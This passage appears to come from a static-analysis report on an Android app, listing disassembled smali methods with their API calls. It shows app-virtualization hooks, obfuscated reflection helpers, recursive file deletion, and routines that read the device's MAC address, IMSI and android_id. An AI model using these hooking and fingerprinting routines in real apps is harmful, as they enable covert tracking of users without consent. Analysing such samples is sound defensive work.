                              30invoke-virtual {v0, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              31move-result v0
                              32if-nez v0, :cond_6
                              33add-int/lit8 v0, v1, 0x1
                              34move v1, v0
                              35goto/16 :goto_9
                              36cond_21: const/4 v1, -0x1
                              37goto/16 :goto_6
                              APIs
                              • java.lang.String.equals
                              • java.lang.reflect.Method.invoke
                              • java.lang.Boolean.booleanValue
                              • java.lang.Integer.valueOf
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v4, 0x0
                              2aget-object v0, p3, v4
                              3check-cast v0, Ljava/lang/String;
                              5invoke-static {}, Lcom/lody/virtual/client/hook/proxies/notification/MethodProxies$SetNotificationsEnabledForPackage;->getHostPkg()Ljava/lang/String;
                              6move-result-object v1
                              8invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              9move-result v1
                              10if-eqz v1, :cond_14
                              12invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              13move-result-object v0
                              14goto_13: return-object v0
                              15cond_14: const-class v1, Ljava/lang/Boolean;
                              17invoke-static {p3, v1}, Lcom/lody/virtual/helper/utils/ArrayUtils;->indexOfFirst([Ljava/lang/Object;Ljava/lang/Class;)I
                              18move-result v1
                              19aget-object v1, p3, v1
                              20check-cast v1, Ljava/lang/Boolean;
                              22invoke-virtual {v1}, Ljava/lang/Boolean;->booleanValue()Z
                              23move-result v1
                              25invoke-static {}, Lcom/lody/virtual/client/ipc/VNotificationManager;->get()Lcom/lody/virtual/client/ipc/VNotificationManager;
                              26move-result-object v2
                              28invoke-static {}, Lcom/lody/virtual/client/hook/proxies/notification/MethodProxies$SetNotificationsEnabledForPackage;->getAppUserId()I
                              29move-result v3
                              31invoke-virtual {v2, v0, v1, v3}, Lcom/lody/virtual/client/ipc/VNotificationManager;->setNotificationsEnabledForPackage(Ljava/lang/String;ZI)V
                              33invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              34move-result-object v0
                              35goto/16 :goto_13
                              Cross References
                              APIs
                              • java.io.File.getPath
                              • android.util.DisplayMetrics.<init>
                              • java.lang.Integer.valueOf
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2invoke-virtual {p0}, Lcom/omg/base/ComponentQuery$ApkParser;->b()Ljava/lang/reflect/Method;
                              3move-result-object v0
                              5invoke-virtual {p0}, Lcom/omg/base/ComponentQuery$ApkParser;->a()Ljava/lang/Object;
                              6move-result-object v1
                              7const/4 v2, 0x4
                              8new-array v2, v2, [Ljava/lang/Object;
                              9const/4 v3, 0x0
                              10aput-object p1, v2, v3
                              11const/4 v3, 0x1
                              13invoke-virtual {p1}, Ljava/io/File;->getPath()Ljava/lang/String;
                              14move-result-object v4
                              15aput-object v4, v2, v3
                              16const/4 v3, 0x2
                              17new-instance v4, Landroid/util/DisplayMetrics;
                              19invoke-direct {v4}, Landroid/util/DisplayMetrics;-><init>()V
                              20aput-object v4, v2, v3
                              21const/4 v3, 0x3
                              22const/4 v4, 0x7
                              24invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              25move-result-object v4
                              26aput-object v4, v2, v3
                              28invoke-virtual {v0, v1, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              29move-result-object v0
                              30check-cast v0, Landroid/content/pm/PackageParser$Package;
                              31goto_2b: return-object v0
                              32catch_2c: move-exception v0
                              33const/4 v0, 0x0
                              34goto/16 :goto_2b
                              APIs
                              • java.lang.reflect.Method.invoke
                              • java.util.List.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              3move-result-object v0
                              4check-cast v0, Ljava/util/List;
                              6invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                              7move-result-object v2
                              8cond_a:
                              9invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
                              10move-result v1
                              11if-eqz v1, :cond_2b
                              13invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              14move-result-object v1
                              15check-cast v1, Landroid/app/ActivityManager$RunningTaskInfo;
                              17invoke-static {}, Lcom/lody/virtual/client/ipc/VActivityManager;->get()Lcom/lody/virtual/client/ipc/VActivityManager;
                              18move-result-object v3
                              19iget v4, v1, Landroid/app/ActivityManager$RunningTaskInfo;->id:I
                              21invoke-virtual {v3, v4}, Lcom/lody/virtual/client/ipc/VActivityManager;->getTaskInfo(I)Lcom/lody/virtual/remote/AppTaskInfo;
                              22move-result-object v3
                              23if-eqz v3, :cond_a
                              25iget-object v4, v3, Lcom/lody/virtual/remote/AppTaskInfo;->topActivity:Landroid/content/ComponentName;
                              26iput-object v4, v1, Landroid/app/ActivityManager$RunningTaskInfo;->topActivity:Landroid/content/ComponentName;
                              28iget-object v3, v3, Lcom/lody/virtual/remote/AppTaskInfo;->baseActivity:Landroid/content/ComponentName;
                              29iput-object v3, v1, Landroid/app/ActivityManager$RunningTaskInfo;->baseActivity:Landroid/content/ComponentName;
                              30goto/16 :goto_a
                              31cond_2b: return-object v0
                              Cross References
                              APIs
                              • java.lang.Class.forName
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.reflect.Method.invoke
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2try_start_1:
                              3invoke-static {p0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                              4move-result-object v1
                              6invoke-static {v1, p1, p3}, Lcom/omg/event/utils/ReflacUtlis;->getMethod(Ljava/lang/Class;Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              7move-result-object v1
                              8if-eqz v1, :cond_19
                              9const/4 v2, 0x1
                              11invoke-virtual {v1, v2}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              12if-nez p2, :cond_1a
                              13const/4 v2, 0x0
                              14const/4 v3, 0x0
                              15new-array v3, v3, [Ljava/lang/Object;
                              17invoke-virtual {v1, v2, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              18move-result-object v0
                              19cond_19: return-object v0
                              20cond_1a: const/4 v2, 0x0
                              22invoke-virtual {v1, v2, p2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              23try_end_1e: move-result-object v0
                              24goto/16 :goto_19
                              25catch_20: move-exception v1
                              27const-string v2, ""
                              29invoke-static {v2, v1}, Lcom/omg/event/utils/Logger;->e(Ljava/lang/String;Ljava/lang/Exception;)V
                              30goto/16 :goto_19
                              APIs
                              • java.lang.Class.forName
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.reflect.Method.invoke
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x1
                              2const/4 v1, 0x0
                              3try_start_2:
                              4invoke-static {p0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                              5move-result-object v2
                              7invoke-static {v2, p1, p3}, Lcom/omg/event/utils/ReflacUtlis;->getMethod(Ljava/lang/Class;Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              8move-result-object v2
                              9if-eqz v2, :cond_25
                              10const/4 v3, 0x1
                              12invoke-virtual {v2, v3}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              13if-nez p2, :cond_1a
                              14const/4 v3, 0x0
                              15const/4 v4, 0x0
                              16new-array v4, v4, [Ljava/lang/Object;
                              18invoke-virtual {v2, v3, v4}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              19goto_19: return v0
                              20cond_1a: const/4 v3, 0x0
                              22invoke-virtual {v2, v3, p2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              23try_end_1e: goto/16 :goto_19
                              24catch_1f: move-exception v0
                              26const-string v2, ""
                              28invoke-static {v2, v0}, Lcom/omg/event/utils/Logger;->e(Ljava/lang/String;Ljava/lang/Exception;)V
                              29cond_25: move v0, v1
                              30goto/16 :goto_19
                              Cross References
                              APIs
                              • java.lang.Object.getClass
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.reflect.Method.invoke
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              3move-result-object v0
                              5invoke-static {v0, p1, p3}, Lcom/omg/event/utils/ReflacUtlis;->getMethod(Ljava/lang/Class;Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              6move-result-object v0
                              7if-eqz v0, :cond_23
                              8const/4 v1, 0x1
                              10invoke-virtual {v0, v1}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              11if-nez p2, :cond_18
                              12const/4 v1, 0x0
                              13new-array v1, v1, [Ljava/lang/Object;
                              15invoke-virtual {v0, p0, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              16move-result-object v0
                              17goto_17: return-object v0
                              18cond_18:
                              19invoke-virtual {v0, p0, p2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              20try_end_1b: move-result-object v0
                              21goto/16 :goto_17
                              22catch_1d: move-exception v0
                              24const-string v1, ""
                              26invoke-static {v1, v0}, Lcom/omg/event/utils/Logger;->e(Ljava/lang/String;Ljava/lang/Exception;)V
                              27cond_23: const/4 v0, 0x0
                              28goto/16 :goto_17
                              APIs
                              • java.lang.Object.getClass
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.reflect.Method.invoke
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x1
                              2const/4 v1, 0x0
                              3try_start_2:
                              4invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              5move-result-object v2
                              7invoke-static {v2, p1, p3}, Lcom/omg/event/utils/ReflacUtlis;->getMethod(Ljava/lang/Class;Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              8move-result-object v2
                              9if-eqz v2, :cond_23
                              10const/4 v3, 0x1
                              12invoke-virtual {v2, v3}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              13if-nez p2, :cond_19
                              14const/4 v3, 0x0
                              15new-array v3, v3, [Ljava/lang/Object;
                              17invoke-virtual {v2, p0, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              18goto_18: return v0
                              19cond_19:
                              20invoke-virtual {v2, p0, p2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              21try_end_1c: goto/16 :goto_18
                              22catch_1d: move-exception v0
                              24const-string v2, ""
                              26invoke-static {v2, v0}, Lcom/omg/event/utils/Logger;->e(Ljava/lang/String;Ljava/lang/Exception;)V
                              27cond_23: move v0, v1
                              28goto/16 :goto_18
                              APIs
                              • java.lang.reflect.Field.get
                              • java.lang.Integer.intValue
                              • java.lang.Integer.valueOf
                              • java.lang.reflect.Field.set
                              Position Instruction Meta Information
                              0.prologue
                              2sget-object v0, Lcom/lody/virtual/client/hook/proxies/libcore/MethodProxies$Stat;->st_uid:Ljava/lang/reflect/Field;
                              4invoke-virtual {v0, p4}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              5move-result-object v0
                              6check-cast v0, Ljava/lang/Integer;
                              8invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                              9move-result v0
                              11invoke-static {}, Lcom/lody/virtual/client/core/VirtualCore;->get()Lcom/lody/virtual/client/core/VirtualCore;
                              12move-result-object v1
                              14invoke-virtual {v1}, Lcom/lody/virtual/client/core/VirtualCore;->myUid()I
                              15move-result v1
                              16if-ne v0, v1, :cond_23
                              18sget-object v0, Lcom/lody/virtual/client/hook/proxies/libcore/MethodProxies$Stat;->st_uid:Ljava/lang/reflect/Field;
                              20invoke-static {}, Lcom/lody/virtual/client/hook/proxies/libcore/MethodProxies$Stat;->getBaseVUid()I
                              21move-result v1
                              23invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              24move-result-object v1
                              26invoke-virtual {v0, p4, v1}, Ljava/lang/reflect/Field;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                              27cond_23: return-object p4
                              Cross References
                              APIs
                              • java.lang.reflect.Method.getReturnType
                              • java.lang.Void.TYPE:Ljava/lang/Class
                              • java.lang.reflect.Method.invoke
                              • java.lang.reflect.Method.invoke
                              • com.lody.virtual.helper.utils.ReflectException.<init>
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2invoke-static {p0}, Lcom/lody/virtual/helper/utils/Reflect;->accessible(Ljava/lang/reflect/AccessibleObject;)Ljava/lang/reflect/AccessibleObject;
                              4invoke-virtual {p0}, Ljava/lang/reflect/Method;->getReturnType()Ljava/lang/Class;
                              5move-result-object v0
                              7sget-object v1, Ljava/lang/Void;->TYPE:Ljava/lang/Class;
                              8if-ne v0, v1, :cond_13
                              10invoke-virtual {p0, p1, p2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              12invoke-static {p1}, Lcom/lody/virtual/helper/utils/Reflect;->on(Ljava/lang/Object;)Lcom/lody/virtual/helper/utils/Reflect;
                              13move-result-object v0
                              14goto_12: return-object v0
                              15cond_13:
                              16invoke-virtual {p0, p1, p2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              17move-result-object v0
                              19invoke-static {v0}, Lcom/lody/virtual/helper/utils/Reflect;->on(Ljava/lang/Object;)Lcom/lody/virtual/helper/utils/Reflect;
                              20try_end_1a: move-result-object v0
                              21goto/16 :goto_12
                              22catch_1c: move-exception v0
                              23new-instance v1, Lcom/lody/virtual/helper/utils/ReflectException;
                              25invoke-direct {v1, v0}, Lcom/lody/virtual/helper/utils/ReflectException;-><init>(Ljava/lang/Throwable;)V
                              26throw v1
                              Cross References
                              APIs
                              • java.lang.reflect.Method.getReturnType
                              • java.lang.Void.TYPE:Ljava/lang/Class
                              • java.lang.reflect.Method.invoke
                              • java.lang.reflect.Method.invoke
                              • com.omg.event.utils.ReflectException.<init>
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2invoke-static {p0}, Lcom/omg/event/utils/Reflect;->accessible(Ljava/lang/reflect/AccessibleObject;)Ljava/lang/reflect/AccessibleObject;
                              4invoke-virtual {p0}, Ljava/lang/reflect/Method;->getReturnType()Ljava/lang/Class;
                              5move-result-object v0
                              7sget-object v1, Ljava/lang/Void;->TYPE:Ljava/lang/Class;
                              8if-ne v0, v1, :cond_13
                              10invoke-virtual {p0, p1, p2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              12invoke-static {p1}, Lcom/omg/event/utils/Reflect;->on(Ljava/lang/Object;)Lcom/omg/event/utils/Reflect;
                              13move-result-object v0
                              14goto_12: return-object v0
                              15cond_13:
                              16invoke-virtual {p0, p1, p2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              17move-result-object v0
                              19invoke-static {v0}, Lcom/omg/event/utils/Reflect;->on(Ljava/lang/Object;)Lcom/omg/event/utils/Reflect;
                              20try_end_1a: move-result-object v0
                              21goto/16 :goto_12
                              22catch_1c: move-exception v0
                              23new-instance v1, Lcom/omg/event/utils/ReflectException;
                              25invoke-direct {v1, v0}, Lcom/omg/event/utils/ReflectException;-><init>(Ljava/lang/Throwable;)V
                              26throw v1
                              Cross References
                              APIs
                              • java.lang.reflect.Field.get
                              • java.lang.Object.getClass
                              • java.lang.Class.getName
                              • com.lody.virtual.helper.utils.ReflectException.<init>
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2invoke-direct {p0, p1}, Lcom/lody/virtual/helper/utils/Reflect;->field0(Ljava/lang/String;)Ljava/lang/reflect/Field;
                              3move-result-object v0
                              5iget-object v1, p0, Lcom/lody/virtual/helper/utils/Reflect;->object:Ljava/lang/Object;
                              7invoke-virtual {v0, v1}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              8move-result-object v0
                              10invoke-static {v0}, Lcom/lody/virtual/helper/utils/Reflect;->on(Ljava/lang/Object;)Lcom/lody/virtual/helper/utils/Reflect;
                              11try_end_d: move-result-object v0
                              12return-object v0
                              13catch_f: move-exception v0
                              14new-instance v1, Lcom/lody/virtual/helper/utils/ReflectException;
                              16iget-object v2, p0, Lcom/lody/virtual/helper/utils/Reflect;->object:Ljava/lang/Object;
                              18invoke-virtual {v2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              19move-result-object v2
                              21invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              22move-result-object v2
                              24invoke-direct {v1, v2, v0}, Lcom/lody/virtual/helper/utils/ReflectException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
                              25throw v1
                              Cross References
                              APIs
                              • java.lang.reflect.Field.get
                              • java.lang.Object.getClass
                              • java.lang.Class.getName
                              • com.omg.event.utils.ReflectException.<init>
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2invoke-direct {p0, p1}, Lcom/omg/event/utils/Reflect;->field0(Ljava/lang/String;)Ljava/lang/reflect/Field;
                              3move-result-object v0
                              5iget-object v1, p0, Lcom/omg/event/utils/Reflect;->object:Ljava/lang/Object;
                              7invoke-virtual {v0, v1}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              8move-result-object v0
                              10invoke-static {v0}, Lcom/omg/event/utils/Reflect;->on(Ljava/lang/Object;)Lcom/omg/event/utils/Reflect;
                              11try_end_d: move-result-object v0
                              12return-object v0
                              13catch_f: move-exception v0
                              14new-instance v1, Lcom/omg/event/utils/ReflectException;
                              16iget-object v2, p0, Lcom/omg/event/utils/Reflect;->object:Ljava/lang/Object;
                              18invoke-virtual {v2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              19move-result-object v2
                              21invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              22move-result-object v2
                              24invoke-direct {v1, v2, v0}, Lcom/omg/event/utils/ReflectException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
                              25throw v1
                              Cross References
                              APIs
                              • com.lody.virtual.server.am.VActivityManagerService.am:Landroid/app/ActivityManager
                              • android.app.ActivityManager.getRunningAppProcesses
                              • java.util.List.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.app.ActivityManager$RunningAppProcessInfo.processName:Ljava/lang/String
                              Position Instruction Meta Information
                              0.prologue
                              2iget-object v0, p0, Lcom/lody/virtual/server/am/VActivityManagerService;->am:Landroid/app/ActivityManager;
                              4invoke-virtual {v0}, Landroid/app/ActivityManager;->getRunningAppProcesses()Ljava/util/List;
                              5move-result-object v0
                              7invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                              8move-result-object v1
                              9cond_a:
                              10invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                              11move-result v0
                              12if-eqz v0, :cond_1d
                              14invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              15move-result-object v0
                              16check-cast v0, Landroid/app/ActivityManager$RunningAppProcessInfo;
                              17iget v2, v0, Landroid/app/ActivityManager$RunningAppProcessInfo;->pid:I
                              18if-ne v2, p1, :cond_a
                              20iget-object v0, v0, Landroid/app/ActivityManager$RunningAppProcessInfo;->processName:Ljava/lang/String;
                              21goto_1c: return-object v0
                              22cond_1d: const/4 v0, 0x0
                              23goto/16 :goto_1c
                              APIs
                              • java.lang.Integer.intValue
                              • java.lang.Integer.intValue
                              • java.lang.reflect.Method.invoke
                              • java.lang.Integer.valueOf
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x0
                              2aget-object v0, p3, v1
                              3check-cast v0, Landroid/accounts/IAccountManagerResponse;
                              4const/4 v0, 0x1
                              5aget-object v0, p3, v0
                              6check-cast v0, Landroid/accounts/Account;
                              7const/4 v0, 0x2
                              8aget-object v0, p3, v0
                              9check-cast v0, Ljava/lang/Integer;
                              11invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                              12const/4 v0, 0x3
                              13aget-object v0, p3, v0
                              14check-cast v0, Ljava/lang/Integer;
                              16invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                              18invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              20invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              21move-result-object v0
                              22return-object v0
                              APIs
                              • java.lang.Integer.intValue
                              • java.lang.Boolean.booleanValue
                              • java.lang.reflect.Method.invoke
                              • java.lang.Integer.valueOf
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x0
                              2aget-object v0, p3, v1
                              3check-cast v0, Landroid/accounts/Account;
                              4const/4 v0, 0x1
                              5aget-object v0, p3, v0
                              6check-cast v0, Ljava/lang/String;
                              7const/4 v0, 0x2
                              8aget-object v0, p3, v0
                              9check-cast v0, Ljava/lang/Integer;
                              11invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                              12const/4 v0, 0x3
                              13aget-object v0, p3, v0
                              14check-cast v0, Ljava/lang/Boolean;
                              16invoke-virtual {v0}, Ljava/lang/Boolean;->booleanValue()Z
                              18invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              20invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              21move-result-object v0
                              22return-object v0
                              Cross References
                              APIs
                              • java.io.File.isFile
                              • java.io.File.delete
                              • java.io.File.listFiles
                              • java.io.File.delete
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-virtual {p1}, Ljava/io/File;->isFile()Z
                              3move-result v0
                              4if-eqz v0, :cond_a
                              6invoke-virtual {p1}, Ljava/io/File;->delete()Z
                              7goto_9: return-void
                              8cond_a:
                              9invoke-virtual {p1}, Ljava/io/File;->listFiles()[Ljava/io/File;
                              10move-result-object v1
                              11if-eqz v1, :cond_1c
                              12array-length v2, v1
                              13const/4 v0, 0x0
                              14goto_12: if-ge v0, v2, :cond_1c
                              15aget-object v3, v1, v0
                              17invoke-virtual {p0, v3}, Lcom/cultivate/fairly/Incredible;->celebrate(Ljava/io/File;)V
                              18add-int/lit8 v0, v0, 0x1
                              19goto/16 :goto_12
                              20cond_1c:
                              21invoke-virtual {p1}, Ljava/io/File;->delete()Z
                              22goto/16 :goto_9
                              Cross References
                              APIs
                              • java.lang.Class.forName
                              • java.lang.Class.getDeclaredMethod
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v2, 0x0
                              3invoke-static {p0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                              4move-result-object v0
                              5new-array v1, v2, [Ljava/lang/Class;
                              7invoke-virtual {v0, p1, v1}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              8move-result-object v0
                              9const/4 v1, 0x1
                              11invoke-virtual {v0, v1}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              12const/4 v1, 0x0
                              13new-array v2, v2, [Ljava/lang/Object;
                              15invoke-virtual {v0, v1, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              16move-result-object v0
                              17return-object v0
                              Cross References
                              APIs
                              • java.lang.StringBuilder.<init>
                              • android.os.Build.MODEL:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              Position Instruction Meta Information
                              0.prologue
                              1new-instance v0, Ljava/lang/StringBuilder;
                              3invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              5sget-object v1, Landroid/os/Build;->MODEL:Ljava/lang/String;
                              7invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              8move-result-object v0
                              10invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              11move-result-object v0
                              13invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              14move-result-object v0
                              15return-object v0
                              Cross References
                              APIs
                              • java.net.NetworkInterface.getByName
                              • java.net.NetworkInterface.getHardwareAddress
                              Strings
                              • wlan0
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2const-string/jumbo v0, "wlan0"
                              4invoke-static {v0}, Ljava/net/NetworkInterface;->getByName(Ljava/lang/String;)Ljava/net/NetworkInterface;
                              5move-result-object v0
                              6if-nez v0, :cond_d
                              8const-string/jumbo v0, ""
                              9goto_c: return-object v0
                              10cond_d:
                              11invoke-virtual {v0}, Ljava/net/NetworkInterface;->getHardwareAddress()[B
                              12move-result-object v0
                              13if-eqz v0, :cond_20
                              15invoke-direct {p0, v0}, Lsdk/nicro/lu/s$a;->a([B)Ljava/lang/String;
                              16try_end_16: move-result-object v0
                              17goto/16 :goto_c
                              18catch_18: move-exception v0
                              20invoke-static {}, Lsdk/nicro/lu/t;->a()Lsdk/nicro/lu/h;
                              21move-result-object v1
                              23invoke-interface {v1, v0}, Lsdk/nicro/lu/h;->a(Ljava/lang/Throwable;)V
                              24cond_20:
                              25const-string/jumbo v0, ""
                              26goto/16 :goto_c
                              Cross References
                              APIs
                              • android.content.Context.getSystemService
                              • android.telephony.TelephonyManager.getSimState
                              Strings
                              • phone
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x1
                              2const/4 v2, 0x0
                              3try_start_2:
                              4const-string/jumbo v0, "phone"
                              6invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              7move-result-object v0
                              8check-cast v0, Landroid/telephony/TelephonyManager;
                              10invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getSimState()I
                              11try_end_e: move-result v0
                              12if-eq v0, v1, :cond_13
                              13if-nez v0, :cond_15
                              14cond_13: move v0, v2
                              15goto_14: return v0
                              16cond_15: move v0, v1
                              17goto/16 :goto_14
                              18catch_17: move-exception v0
                              20invoke-static {}, Lsdk/nicro/lu/t;->a()Lsdk/nicro/lu/h;
                              21move-result-object v1
                              23invoke-interface {v1, v0}, Lsdk/nicro/lu/h;->a(Ljava/lang/Throwable;)V
                              24move v0, v2
                              25goto/16 :goto_14
                              Cross References
                              APIs
                              • android.content.Context.getSystemService
                              • android.telephony.TelephonyManager.getSubscriberId
                              Strings
                              • phone
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2const-string/jumbo v0, "phone"
                              4invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              5move-result-object v0
                              6check-cast v0, Landroid/telephony/TelephonyManager;
                              8invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getSubscriberId()Ljava/lang/String;
                              9try_end_c: move-result-object v0
                              10goto_d: return-object v0
                              11catch_e: move-exception v0
                              13invoke-static {}, Lsdk/nicro/lu/t;->a()Lsdk/nicro/lu/h;
                              14move-result-object v1
                              16invoke-interface {v1, v0}, Lsdk/nicro/lu/h;->a(Ljava/lang/Throwable;)V
                              17const/4 v0, 0x0
                              18goto/16 :goto_d
                              Cross References
                              APIs
                              • android.content.Context.getSystemService
                              • android.telephony.TelephonyManager.getSubscriberId
                              Strings
                              • phone
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x0
                              3const-string/jumbo v0, "phone"
                              5invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              6move-result-object v0
                              7check-cast v0, Landroid/telephony/TelephonyManager;
                              8if-eqz v0, :cond_16
                              10invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getSubscriberId()Ljava/lang/String;
                              11move-result-object v0
                              12goto_10: if-nez v0, :cond_15
                              14const-string/jumbo v0, ""
                              15cond_15: return-object v0
                              16cond_16: move-object v0, v1
                              17goto/16 :goto_10
                              APIs
                              • android.content.Context.getContentResolver
                              • android.provider.Settings$Secure.getString
                              Strings
                              • android_id
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2try_start_1:
                              3iget-object v1, p0, Lb/a/cz;->a:Landroid/content/Context;
                              5invoke-virtual {v1}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                              6move-result-object v1
                              8const-string v2, "android_id"
                              10invoke-static {v1, v2}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
